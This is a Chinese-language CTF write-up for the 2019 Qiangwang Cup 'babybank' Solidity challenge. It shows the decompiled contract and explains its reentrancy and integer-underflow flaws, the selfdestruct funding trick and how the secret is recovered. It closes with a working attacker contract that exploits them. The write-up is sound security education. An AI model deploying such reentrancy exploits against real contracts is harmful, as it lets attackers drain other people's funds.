前言
2019強網杯CTF智能合約題目--babybank wp及淺析
ps:本文最先寫在我的新博客上,后面會以新博客為主,看心情會把文章同步過來
分析
反編譯
使用OnlineSolidityDecompiler對合約進行逆向,獲取合約源碼偽代碼


參考其他師傅的分析,貼出美化之后的合約源碼
pragma solidity ^0.4.23;
contract babybank {
// 0xe3d670d7 0
mapping(address => uint) public balance;
// 0xd41b6db6 1
mapping(address => uint) public level;
// 2
address owner;
// 3
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//0x8c0320de
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//0x2e1a7d4d
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
// 重入漏洞
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
// 整形下溢出
balance[msg.sender] -= amount;
}
//0x66d16cc3
function profit() public {
require(level[msg.sender] == 0);
require(msg.sender & 0xffff == 0xb1b1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
// 0xa5e9585f
function xxx(uint256 number) public onlyOwner {
secret = number;
}
// 0x9189fec1
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
// 0xa9059cbb
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
賦予合約ETH
合約初始狀態無ETH,無法執行操作,故需讓合約地址擁有一定量的ETH
而合約代碼中並沒有相關可以轉入ETH的操作,因此只能通過帶入ETH執行自毀讓ETH強行轉入合約地址中
構造自毀函數kill
function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}
帶入0.2ETH利用kill函數自銷毀,強行向合約轉入0.2ETH

繞過利用分析
合約發起sendflag需要超過10000000000的token
而withdraw函數存在重入漏洞以及整型下溢出

但限制了一次只能取款2token以及取款者賬戶token需要大於等於2
再來看如何增加token

增加token的函數只有profit和guess兩個函數
profit函數驗證地址低4位為0xb1b1;且只能在初始狀態即level=0的時候調用一次,調用一次之后level提升為1,balance+1
guess函數會驗證secret值,而secret值由只能合約所有者調用的xxx函數賦予;且需要level=1,調用一次之后level提升為2,balance+1
那么函數調用流程就出來了,先profit()再guess()
profit函數的繞過,可通過vanity eth獲取一個符合條件的地址
guess函數的繞過,secret值在合約交易信息中可找到
合約部署者的最后一次交易事件中,InputData函數選擇器中,前4個字節0xa5e9585f為xxx函數的函數簽名,其參數就是部署者調用xxx函數所傳入的參數,即為secret值


至此,通過了profit,guess,滿足withdraw的取款條件
由於withdraw函數存在重入漏洞以及溢出
構造攻擊合約,利用重入漏洞以及溢出可獲取巨額代幣,並發起payforflag操作
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attacker {
BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private flag = 0;
function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("hunya", "hunya");
}
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
合約交易記錄中可看到一系列操作,最后的一個交易是將合約中的ETH全部提現到合約所有者地址中,應該是清空ETH為了讓下一個做題者又從合約0ETH狀態開始做

查看事件記錄,已有sendflag事件

參考
https://zhuanlan.zhihu.com/p/67205187
